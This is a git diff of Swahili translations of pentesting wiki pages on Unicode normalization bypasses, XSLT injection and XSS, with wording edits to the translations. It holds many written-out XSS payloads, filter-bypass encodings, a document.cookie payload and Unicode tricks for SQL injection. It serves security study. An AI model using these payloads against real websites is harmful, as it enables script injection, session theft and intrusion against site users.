@ -18,10 +18,10 @@ Kuna **algorithms nne za Unicode normalization**: NFC, NFD, NFKC, na NFKD. Kila
|
||||
Kuelewa Unicode encoding ni muhimu, hasa unaposhughulikia masuala ya ushirikiano kati ya mifumo au lugha tofauti. Hapa kuna vidokezo vikuu:
|
||||
|
||||
- **Code Points na Wahusika**: Katika Unicode, kila wahusika au alama inatolewa thamani ya nambari inayojulikana kama "code point".
|
||||
- **Uwakilishi wa Bytes**: Code point (au wahusika) inawakilishwa na byte moja au zaidi katika kumbukumbu. Kwa mfano, wahusika wa LATIN-1 (wanaopatikana katika nchi zinazozungumza Kiingereza) wanawakilishwa kwa kutumia byte moja. Hata hivyo, lugha zenye seti kubwa ya wahusika zinahitaji byte zaidi kwa uwakilishi.
|
||||
- **Uwakilishi wa Bytes**: Code point (au wahusika) inawakilishwa na byte moja au zaidi katika kumbukumbu. Kwa mfano, wahusika wa LATIN-1 (maarufu katika nchi zinazozungumza Kiingereza) wanawakilishwa kwa kutumia byte moja. Hata hivyo, lugha zenye seti kubwa ya wahusika zinahitaji byte zaidi kwa uwakilishi.
|
||||
- **Encoding**: Neno hili linarejelea jinsi wahusika wanavyobadilishwa kuwa mfululizo wa bytes. UTF-8 ni kiwango maarufu cha encoding ambapo wahusika wa ASCII wanawakilishwa kwa kutumia byte moja, na hadi byte nne kwa wahusika wengine.
|
||||
- **Usindikaji wa Data**: Mifumo inayosindika data inapaswa kuwa na ufahamu wa encoding inayotumika ili kubadilisha mfululizo wa byte kuwa wahusika kwa usahihi.
|
||||
- **Tofauti za UTF**: Mbali na UTF-8, kuna viwango vingine vya encoding kama UTF-16 (inayotumia angalau byte 2, hadi 4) na UTF-32 (inayotumia byte 4 kwa wahusika wote).
|
||||
- **Tofauti za UTF**: Mbali na UTF-8, kuna viwango vingine vya encoding kama UTF-16 (ikitumika angalau byte 2, hadi 4) na UTF-32 (ikitumika byte 4 kwa wahusika wote).
|
||||
|
||||
Ni muhimu kuelewa dhana hizi ili kushughulikia na kupunguza masuala yanayoweza kutokea kutokana na ugumu wa Unicode na mbinu zake mbalimbali za encoding.
|
||||
|
||||
@ -43,11 +43,11 @@ Mfano mwingine: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94
|
||||
|
||||
Fikiria ukurasa wa wavuti unaotumia wahusika `'` kuunda maswali ya SQL na ingizo la mtumiaji. Wavuti hii, kama hatua ya usalama, **inafuta** matukio yote ya wahusika **`'`** kutoka kwa ingizo la mtumiaji, lakini **baada ya kufutwa** na **kabla ya kuunda** swali, inafanya **normalisation** kwa kutumia **Unicode** ingizo la mtumiaji.
|
||||
|
||||
Basi, mtumiaji mbaya anaweza kuingiza wahusika tofauti wa Unicode sawa na `' (0x27)` kama `%ef%bc%87`, wakati ingizo linapofanywa normalised, nukta moja inaundwa na **SQLInjection vulnerability** inaonekana:
|
||||
Basi, mtumiaji mbaya anaweza kuingiza wahusika tofauti wa Unicode sawa na `' (0x27)` kama `%ef%bc%87`, wakati ingizo linapofanywa kuwa la kawaida, nukta moja inaundwa na **udhaifu wa SQLInjection** unaonekana:
|
||||
|
||||
.png>)
|
||||
|
||||
**Wahusika wa Unicode wenye kuvutia**
|
||||
**Wahusika wa Unicode wa kuvutia**
|
||||
|
||||
- `o` -- %e1%b4%bc
|
||||
- `r` -- %e1%b4%bf
|
||||
@ -75,7 +75,9 @@ Basi, mtumiaji mbaya anaweza kuingiza wahusika tofauti wa Unicode sawa na `' (0x
|
||||
```
|
||||
#### sqlmap template
|
||||
|
||||
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/sqlmap_to_unicode_template
|
||||
{{#endref}}
|
||||
|
||||
### XSS (Cross Site Scripting)
|
||||
|
||||
@ -89,9 +91,9 @@ Kumbuka kwamba kwa mfano wahusika wa kwanza wa Unicode wanaweza kutumwa kama: `%
|
||||
|
||||
### Fuzzing Regexes
|
||||
|
||||
Wakati backend in **kuchunguza pembejeo ya mtumiaji kwa regex**, inaweza kuwa inawezekana kwamba **pemebeo** in **normalizing** kwa **regex** lakini **siyo** kwa mahali inapotumika. Kwa mfano, katika Open Redirect au SSRF regex inaweza kuwa **normalizing URL iliyopelekwa** lakini kisha **inaifikia kama ilivyo**.
|
||||
Wakati backend inafanya **kuangalia ingizo la mtumiaji kwa regex**, inaweza kuwa inawezekana kwamba **ingizo** linakuwa **normalized** kwa **regex** lakini **siyo** kwa mahali linapotumika. Kwa mfano, katika Open Redirect au SSRF regex inaweza kuwa **normalizing the sent URL** lakini kisha **inaccess it as is**.
|
||||
|
||||
Chombo [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* kinaruhusu **kuunda tofauti za pembejeo** ili kufuzz backend. Kwa maelezo zaidi angalia **github** na hii [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
Chombo [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* kinaruhusu **kuunda tofauti za ingizo** ili kufuzz backend. Kwa maelezo zaidi angalia **github** na hii [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
XSLT ni teknolojia inayotumika kubadilisha hati za XML kuwa katika muundo tofauti. Inakuja katika toleo tatu: 1, 2, na 3, ambapo toleo la 1 ndilo linalotumika zaidi. Mchakato wa kubadilisha unaweza kufanywa ama kwenye seva au ndani ya kivinjari.
|
||||
XSLT ni teknolojia inayotumika kubadilisha hati za XML kuwa katika muundo tofauti. Inakuja katika matoleo matatu: 1, 2, na 3, ambapo toleo la 1 ndilo linalotumika zaidi. Mchakato wa kubadilisha unaweza kufanywa ama kwenye seva au ndani ya kivinjari.
|
||||
|
||||
Mifumo ambayo hutumiwa mara nyingi ni pamoja na:
|
||||
Mifumo ambayo inatumika mara nyingi ni pamoja na:
|
||||
|
||||
- **Libxslt** kutoka Gnome,
|
||||
- **Xalan** kutoka Apache,
|
||||
@ -374,7 +374,9 @@ version="1.0">
|
||||
|
||||
## **Brute-Force Detection List**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
|
||||
{{#endref}}
|
||||
|
||||
## **References**
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
## Methodology
|
||||
|
||||
1. Angalia kama **thamani yoyote unayodhibiti** (_parameta_, _njia_, _vichwa_?, _cookies_?) inarudi **katika** HTML au **inatumika** na **JS** code.
|
||||
1. Angalia kama **thamani yoyote unayodhibiti** (_parameta_, _njia_, _vichwa_?, _cookies_?) inarudi **katika** HTML au **inatumiwa** na **JS** code.
|
||||
2. **Pata muktadha** ambapo inarudi/inatumika.
|
||||
3. Ikiwa **inarudi**
|
||||
1. Angalia **ni alama zipi unaweza kutumia** na kulingana na hiyo, andaa payload:
|
||||
@ -12,19 +12,19 @@
|
||||
3. Je, unaweza kupita ulinzi?
|
||||
4. Je, maudhui ya HTML yanatafsiriwa na injini yoyote ya JS upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza JS code, unaweza kutumia [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
|
||||
2. Ndani ya **HTML tag**:
|
||||
2. Ndani ya **vitambulisho vya HTML**:
|
||||
1. Je, unaweza kutoka kwenye muktadha wa HTML safi?
|
||||
2. Je, unaweza kuunda matukio/mapitio mapya ili kutekeleza JS code?
|
||||
3. Je, sifa ambapo umekamatwa inasaidia utekelezaji wa JS?
|
||||
3. Je, sifa ambapo umekwama inasaidia utekelezaji wa JS?
|
||||
4. Je, unaweza kupita ulinzi?
|
||||
3. Ndani ya **JavaScript code**:
|
||||
1. Je, unaweza kutoroka `<script>` tag?
|
||||
2. Je, unaweza kutoroka mfuatano na kutekeleza JS code tofauti?
|
||||
1. Je, unaweza kutoroka kutoka kwenye `<script>` tag?
|
||||
2. Je, unaweza kutoroka kutoka kwenye mfuatano na kutekeleza JS code tofauti?
|
||||
3. Je, ingizo lako liko katika template literals \`\`?
|
||||
4. Je, unaweza kupita ulinzi?
|
||||
4. Javascript **function** inayo **tekelezwa**
|
||||
1. Unaweza kuashiria jina la kazi ya kutekeleza. e.g.: `?callback=alert(1)`
|
||||
4. Ikiwa **inatumika**:
|
||||
4. Ikiwa **inatumiwa**:
|
||||
1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linavyodhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.**
|
||||
|
||||
Unapofanya kazi kwenye XSS ngumu unaweza kupata ni muhimu kujua kuhusu:
|
||||
@ -50,16 +50,16 @@ Unapojaribu kutumia XSS jambo la kwanza unahitaji kujua ni **wapi ingizo lako li
|
||||
Ikiwa ingizo lako **linarudi kwenye HTML safi** ukurasa utahitaji kutumia baadhi ya **HTML tag** ili kutekeleza JS code: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya vitambulisho vingi vya HTML ambavyo unaweza kutumia.\
|
||||
Pia, kumbuka [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Ndani ya sifa za HTML tags
|
||||
### Ndani ya sifa za vitambulisho vya HTML
|
||||
|
||||
Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya tag unaweza kujaribu:
|
||||
|
||||
1. Kutoroka **kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
|
||||
2. Ikiwa **unaweza kutoroka kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
|
||||
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
|
||||
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code bila mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia `javascript:` protokali kutekeleza code bila mipaka: **`href="javascript:alert(1)"`**
|
||||
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Mfano wa ajabu wa Angular inavyotekeleza XSS ikiwa unadhibiti jina la darasa:
|
||||
Mfano wa ajabu wa Angular ikitekeleza XSS ikiwa unadhibiti jina la darasa:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
@ -67,14 +67,14 @@ Mfano wa ajabu wa Angular inavyotekeleza XSS ikiwa unadhibiti jina la darasa:
|
||||
```
|
||||
### Ndani ya msimbo wa JavaScript
|
||||
|
||||
Katika kesi hii, ingizo lako linarejelewa kati ya **`<script> [...] </script>`** vitambulisho vya ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
|
||||
Katika kesi hii, ingizo lako linaonyeshwa kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
|
||||
|
||||
- Ikiwa inarejelewa kati ya **`<script> [...] </script>`** vitambulisho, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua vitambulisho vya HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba vitambulisho vyako vilivyoingizwa `</script>` viko ndani ya msimbo wa HTML.
|
||||
- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kujenga upya** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
|
||||
- Ikiwa linaonyeshwa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakiwezi kugundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
|
||||
- Ikiwa linaonyeshwa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Ikiwa inarejelewa ndani ya maandiko ya templeti unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- Ikiwa linaonyeshwa ndani ya template literals unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode encode** inafanya kazi kuandika **msimbo halali wa javascript**:
|
||||
```javascript
|
||||
alert(1)
|
||||
@ -114,9 +114,9 @@ parentElement
|
||||
```
|
||||
Unaweza pia kujaribu **kuanzisha kazi za Javascript** moja kwa moja: `obj.sales.delOrders`.
|
||||
|
||||
Hata hivyo, kawaida, mwisho wa kutekeleza kazi iliyoonyeshwa ni mwisho ambao huna DOM ya kuvutia sana, **kurasa nyingine katika chanzo sawa** zitakuwa na **DOM ya kuvutia zaidi** ili kufanya vitendo zaidi.
|
||||
Hata hivyo, kawaida mwisho wa kutekeleza kazi iliyoonyeshwa ni mwisho bila DOM ya kuvutia sana, **kurasa nyingine katika asili hiyo hiyo** zitakuwa na **DOM ya kuvutia zaidi** ili kufanya vitendo zaidi.
|
||||
|
||||
Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** uanzishwaji wa **Same Origin Method Execution (SOME)** ulitengenezwa:
|
||||
Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** utekaji wa **Same Origin Method Execution (SOME)** ulitengenezwa:
|
||||
|
||||
{{#ref}}
|
||||
some-same-origin-method-execution.md
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu kwenye unyakuzi wa mteja wa programu ya wavuti bali kwenye **muktadha** **wowote**. Aina hii ya **utekelezaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
|
||||
Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali katika **muktadha** **wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
|
||||
Baadhi ya **esemples**:
|
||||
|
||||
{{#ref}}
|
||||
@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## Kuingiza ndani ya HTML safi
|
||||
|
||||
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodia ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachukuliwa **kama HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
|
||||
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodia ya HTML katika muktadha huu, **kitu cha kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachakatwa **HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
|
||||
Kwa kesi hizi pia **zingatia** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
&#xNAN;_**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*au \*\*\*\*\*\***`--!>`\*\**_
|
||||
|
||||
Katika kesi hii na ikiwa hakuna orodha nyeusi/nyeupe inayotumika, unaweza kutumia payloads kama:
|
||||
Katika kesi hii na ikiwa hakuna orodha ya nyeusi/nyeupe inatumika, unaweza kutumia payloads kama:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -161,16 +161,16 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Lakini, ikiwa tags/attributes black/whitelisting inatumika, utahitaji **kujaribu nguvu ambayo tags** unaweza kuunda.\
|
||||
Mara tu umepata **tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
|
||||
Lakini, ikiwa tags/attributes black/whitelisting inatumika, utahitaji **kujaribu nguvu ambazo tags** unaweza kuunda.\
|
||||
Mara tu unapokuwa **umeweza kubaini ni tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
|
||||
|
||||
### Tags/Events kujaribu nguvu
|
||||
|
||||
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia kama kuna tags yoyote haikugunduliwa kama mbaya na WAF. Mara tu unapogundua tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
|
||||
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote haikugunduliwa kama mbaya na WAF. Mara tu unapokuwa umepata ni tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
|
||||
|
||||
### Tags za kawaida
|
||||
|
||||
Ikiwa huja pata tag halali ya HTML, unaweza kujaribu **kuunda tag ya kawaida** na kutekeleza msimbo wa JS kwa kutumia attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **utekeleze** msimbo:
|
||||
Ikiwa huja pata tag halali ya HTML, unaweza kujaribu **kuunda tag ya kawaida** na kutekeleza msimbo wa JS kwa kutumia attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **kutekeleza** msimbo:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
@ -243,7 +243,7 @@ Ikiwa ili kutumia udhaifu unahitaji **mtumiaji kubonyeza kiungo au fomu** yenye
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) kwa sababu unaweza **kutumia** udhaifu **bila** kutekeleza **JS** msimbo.
|
||||
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) kwa sababu unaweza **kutumia** udhaifu **bila** kutekeleza **JS** msimbo.
|
||||
|
||||
## Injecting inside HTML tag
|
||||
|
||||
@ -272,7 +272,7 @@ Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `jav
|
||||
|
||||
**Kupita ndani ya tukio kwa kutumia HTML encoding/URL encode**
|
||||
|
||||
**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML zinatolewa **wakati wa kutekeleza**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwenye maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Rudi Nyuma </a>`
|
||||
**Makarakteri yaliyokodishwa ya HTML** ndani ya thamani ya sifa za vitambulisho vya HTML yanatolewa **wakati wa utendaji**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwenye maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Rudi Nyuma </a>`
|
||||
|
||||
Kumbuka kwamba **aina yoyote ya HTML encode ni halali**:
|
||||
```javascript
|
||||
@ -303,7 +303,7 @@ Kumbuka kwamba **aina yoyote ya HTML encode ni halali**:
|
||||
```
|
||||
### Protokali Maalum Ndani ya sifa
|
||||
|
||||
Hapo unaweza kutumia protokali **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
|
||||
Hapo unaweza kutumia protokali **`javascript:`** au **`data:`** katika maeneo mengine ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**Mahali ambapo unaweza kuingiza protokali hizi**
|
||||
|
||||
**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika lebo yoyote inayokubali sifa ya `href`** na katika **zaidi ya** lebo nyingi zinazokubali **sifa ya `src`** (lakini si `<img>`)
|
||||
**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika tag yoyote inayokubali sifa ya `href`** na katika **zaidi ya** tag zinazokubali **sifa ya `src`** (lakini si `<img>`)
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -347,17 +347,17 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**Njia nyingine za kuficha**
|
||||
|
||||
_**Katika kesi hii, njia ya uandishi wa HTML na njia ya uandishi wa Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
|
||||
_**Katika kesi hii, usimbuaji wa HTML na mbinu ya usimbuaji wa Unicode kutoka sehemu ya awali pia ni halali kwani uko ndani ya sifa.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Zaidi ya hayo, kuna **hila nzuri** kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapandishwa URL, litakuwa URL decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapandishwa URL**, kumbuka kwamba **haijalishi,** litakuwa **limefasiriwa** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
|
||||
Zaidi ya hayo, kuna **njia nzuri** nyingine kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapewa URL encoding, litakuwa URL decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwenye **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapewa URL encoding**, kumbuka kwamba **haijalishi,** litakuwa **limeeleweka** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Kumbuka kwamba ukijaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
|
||||
Kumbuka kwamba ikiwa utajaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
|
||||
|
||||
**Kutumia Hex na Octal encode na `javascript:`**
|
||||
|
||||
@ -377,16 +377,16 @@ Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mipaka ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
|
||||
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mpangilio ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
{{#endref}}
|
||||
|
||||
### juu ya Kuepuka Wakati wa Wamiliki
|
||||
### juu ya Kuepuka Wakati wa Matukio
|
||||
|
||||
Kwanza angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" wamiliki wa matukio** wanaofaa.\
|
||||
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda wamiliki hawa wa matukio unaweza kujaribu kuepuka zifuatazo:
|
||||
Kwanza angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" event handlers** zinazofaa.\
|
||||
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda hizi hata handlers unaweza kujaribu kuepuka zifuatazo:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS katika "Madaraja Yasiyoweza Kutumika" (kigezo kilichofichwa, kiungo, kanuni, meta)
|
||||
### XSS katika "Madaraja Yasiyoweza Kutumika" (kuyaficha, kiungo, kanuni, meta)
|
||||
|
||||
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya kigezo kilichofichwa na:**
|
||||
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya ingizo lililofichwa na:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
@ -430,7 +430,7 @@ Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields):
|
||||
|
||||
### Blacklist Bypasses
|
||||
|
||||
Hila kadhaa za kutumia uandishi tofauti zimefunuliwa tayari ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
|
||||
Njia kadhaa za kutumia uandishi tofauti zimefunuliwa tayari ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
|
||||
|
||||
- **HTML encoding (HTML tags)**
|
||||
- **Unicode encoding (inaweza kuwa JS code halali):** `\u0061lert(1)`
|
||||
@ -476,11 +476,11 @@ Ikiwa code yako imeingizwa ndani ya `<script> [...] var input = 'reflected data'
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
